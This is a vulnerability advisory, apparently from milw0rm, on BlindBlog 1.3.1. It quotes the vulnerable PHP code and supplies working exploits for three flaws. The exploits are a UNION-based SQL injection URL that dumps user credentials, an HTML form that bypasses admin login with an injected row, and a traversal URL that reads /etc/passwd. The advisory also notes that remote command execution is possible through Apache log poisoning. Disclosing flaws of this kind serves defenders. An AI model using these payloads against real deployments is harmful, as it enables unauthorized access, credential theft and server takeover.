BlindBlog 1.3.1 (SQL/AB/LFI) Multiple Remote Vulnerabilities

Application: BlindBlog
Version: 1.3.1
Website: http://sourceforge.net/projects/cbblog/

Bugs:
[A] SQL Injection
[B] Authentication Bypass
[C] Local File Inclusion
Exploitation: Remote


Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

- [A] SQL Injection
Requisites: magic_quotes_gpc = off
File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ? $_GET['id'] : getlastid();

$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
$resulted = $db->query($SQL, $querys);
while ($result = mysql_fetch_assoc($resulted))
$comments[] = $result;


- [B] Authentication Bypass

Requisites: magic_quotes_gpc = off
File affected: admin.login.php

$username = $_POST['username'];
$password = md5($_POST['password']);
include('./db_config.php');
$db = new db_stuff;
$db->connect();
$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
{
echo "Incorrect username";
exit;
}
$result = mysql_fetch_assoc($result);
if ($result['password'] !== $password)
{
echo 'Incorrect Password';
exit;
}


- [C] Local File Inclusion

Requisites: none
File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
$loc = 'admin.'.$_GET['act'].'.php';
include('./'.$loc);
}
...


Code

- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass

html
head
title BlindBlog 1.3.1 Authentication Bypass Exploit /title
/head
body
form
action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST"
input type="hidden" name="username" value="-1'
UNION ALL SELECT
1,'admin',MD5('expl')#"
input type="hidden" name="password" value="expl"
input type="submit" value="Exploit"
/form
/body
/html

- [C] Local File Inclusion

Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php

http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd

# milw0rm